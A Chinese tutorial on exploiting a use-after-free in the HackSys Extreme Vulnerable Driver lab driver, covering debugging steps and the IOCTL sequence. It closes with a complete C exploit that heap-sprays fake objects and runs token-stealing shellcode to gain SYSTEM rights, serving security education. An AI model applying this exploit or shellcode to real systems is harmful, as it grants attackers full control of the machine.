友好简单的Windows内核漏洞分析 之 UAF利用

0x1 前置知识

UAF:即Use After Free,CTF pwn手对这一概念再熟悉不过了。作为科普,内存块被释放之后使用会发生以下几种情况:

Background Condition1 Condition2 Result
free 对应指针置0 使用 崩溃
free 对应指针没有被置0 使用前无代码对该片内存进行修改 很有可能正常运行
free 对应指针没有被置0 使用前有代码对该片内存进行修改 神秘现象

了解Windows内存管理机制的朋友会知道ExAllocatePoolWithTag函数并不是乱申请内存的,操作系统会选择大小最合适的堆来存放它,而被free的指针被称为悬挂指针,仍是一个有效的指针。而通过逆向分析我们可以发现在驱动中有一个函数调用了全局指针(以下用漏洞指针代替)的回调函数:

而且,通过调试,我们可以知道该结构体指针的定义如下:

typedef struct _VulnerablePointer {

        FunctionPointer Callback;

        CHAR Buffer[0x54];

    } VulnerablePointer, *VulnerablePointer;

那么,综上条件,一个漏洞利用链就浮现出来了:

  1. 漏洞指针被分配内存且被释放之后没有进行其他操作

  2. 准备提权shellcode

  3. 模仿漏洞指针的结构定义构造fake chunk payload大量申请空间,目的是覆盖到漏洞指针的Callback函数(专业术语:堆喷射

  4. 当Callback函数被调用的时候,我们在R3提权成功

*如果读者对此篇文章感兴趣但没有内核调试相关经验,请移步0x5

0x2 一点点API

  1. 申请内存

    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
    
  2. 释放内存

DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
  1. 申请假chunk
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
  1. 调用Callback函数
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

以上函数都是通过逆向分析驱动文件得出,姑且先将底层实现当作黑盒看待,这样效率最高。

  1. 最后调用一个CMD窗口,验证提权结果
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
  1. 提权shellcode
void ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]     // 找到当前线程的_KTHREAD结构,R0中fs寄存器指向的是KCPR结构,紧接                                   着就是KPCRB结构,所以偏移124h的位置为KPCRB的第四个字节
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4              // 在win7 x86 sp1 下 system进程的PID为4

        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]   // 找到进程活动链表
        sub eax, 0xb8           // 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

0x3 调试验证过程

在Windbg中,你需要在如下三个函数下断点(因为驱动是自己编译的,所以有符号表)

HEVD!AllocateUaFObjectNonPagedPool
HEVD!FreeUaFObjectNonPagedPool
HEVD!UseUaFObjectNonPagedPool

运行exp前,我们先验证当前的权限:

运行后,命中的第一个断点:HEVD!AllocateUaFObjectNonPagedPool

运行到漏洞指针被赋值的位置,查看一下该指针的内容,以及指向的pool chunk:

可以看到状态为Allocated,大小为60h = sizeof(_VulnerablePointer) + 8 (pool chunk header)

接着来看free之后的pool chunk状态:

且此时漏洞指针的Callback函数随意指向了一个位置:

执行到下一个断点,此时exp程序完成了堆喷,正准备执行漏洞指针的回调函数,再次观察漏洞指针的pool chunk以及Callback函数:

至此,通过UAF成功在R3提权,获取system权限

0x4 留图纪念

0x5 快速食用指南

0x6 Exp

#include<stdio.h>
#include<Windows.h>
/************************************************************************/
/*                 Write by Thunder_J 2019.6                            */
/************************************************************************/

typedef void(*FunctionPointer) ();

typedef struct _FAKE_USE_AFTER_FREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;

void ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]     // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4              // edx = system PID(4)

        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]   // 找到进程活动链表
        sub eax, 0xb8           // 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
    DWORD recvBuf;
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    printf("Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("获取句柄失败\n");
        return 0;
    }
    printf("Start to call AllocateUaFObject()...\n");
    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
    printf("Start to call FreeUaFObject()...\n");
    DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
    printf("Start to write shellcode()...\n");//

    PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));

    fakeG_UseAfterFree->countinter = ShellCode;

    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

    printf("***********************************\n");
    printf("Start to heap spray...\n");
    for (int i = 0; i < 5000; i++)
    {
        DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); //Allocate FakeObject NonPagedPool IoctlHandler allocate新的object,堆喷 
    }
    printf("Start to call UseUaFObject()...\n");
    DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

    printf("Start to create cmd...\n");
    CreateCmd();
    //system("whoami");
    return 0;
}

感谢 Thunder_J提供的exp

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖